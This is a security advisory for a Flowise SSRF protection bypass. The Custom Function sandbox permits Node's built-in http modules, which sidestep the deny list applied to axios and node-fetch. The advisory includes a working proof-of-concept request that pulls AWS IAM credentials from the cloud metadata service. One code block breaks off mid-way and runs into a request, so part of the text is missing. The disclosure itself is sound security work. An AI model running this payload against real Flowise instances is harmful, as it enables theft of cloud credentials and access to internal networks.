GHSA-xhmj-rg95-44hv Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox

• npm flowise: < 3.1.0 → fixed in 3.1.0 • npm flowise-components: < 3.1.0 → fixed in 3.1.0

Summary A Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js `http`, `https`, and `net` modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services) Details The vulnerability exists in the sandbox configuration within `packages/components/src/utils.ts` Vulnerable Code - Allowed Built-in Modules (Line 56): ```typescript export const defaultAllowBuiltInDep = [ 'assert', 'buffer', 'crypto', 'events', 'http', 'https', 'net', 'path', 'querystring', 'timers', 'url', 'zlib', 'os', 'stream', 'http2', 'punycode', 'perf_hooks', 'util', 'tls', 'string_decoder', 'dns', 'dgram' ] ``` SSRF Protection Implementation (Lines 254-261): ```typescript // Only axios and node-fetch are wrapped with SSRF protection secureWrappers['axios'] = secureAxiosWrapper secureWrappers['node-fetch'] = secureNodeFetch const defaultNodeVMOptions: any = { // ... require: { builtin: builtinDeps, // Content-Type: application/json Authorization: Bearer { "javascriptFunction": "const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;" } ``` Response: ```json {"statusCode":500,"success":false,"message":"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.","stack":{}} ``` Bypass SSRF Protection using built-in http module Request: ```http POST /api/v1/node-custom-function HTTP/1.1 Host: Content-Type: application/json Authorization: Bearer { "javascriptFunction": "const http = require('http'); return new Promise((resolve) => { const tokenReq = http.request({ hostname: '169.254.169.254', path: '/latest/api/token', method: 'PUT', headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' } }, (tokenRes) => { let token = ''; tokenRes.on('data', c => token += c); tokenRes.on('end', () => { const metaReq = http.request({ hostname: '169.254.169.254', path: '/latest/meta-data/iam/security-credentials/{IAM_Role}', headers: { 'X-aws-ec2-metadata-token': token } }, (metaRes) => { let data = ''; metaRes.on('data', c => data += c); metaRes.on('end', () => resolve(data)); }); metaReq.on('error', e => resolve('meta-error:' + e.message)); metaReq.end(); }); }); tokenReq.on('error', e => resolve('token-error:' + e.message)); tokenReq.end(); });" } ``` Response: ```json { "Code": "Success", "LastUpdated": "2026-01-08T11:30:00Z", "Type": "AWS-HMAC", "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2026-01-08T17:30:00Z" } ``` Impact Vulnerability Type: Server-Side Request Forgery (SSRF) with security controls bypass Who is Impacted: • All Flowise deployments where `HTTP_DENY_LIST` is configured for SSRF protection • Deployments without `HTTP_DENY_LIST` are already vulnerable to SSRF via any method Impact Severity: 1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources 2. Scan internal networks, discover services, and identify attack targets 3. Reach databases, admin panels, and other internal APIs that should not be externally accessible Attack Requirements: • Authentication required (API key or session) • Network access to Flowise instance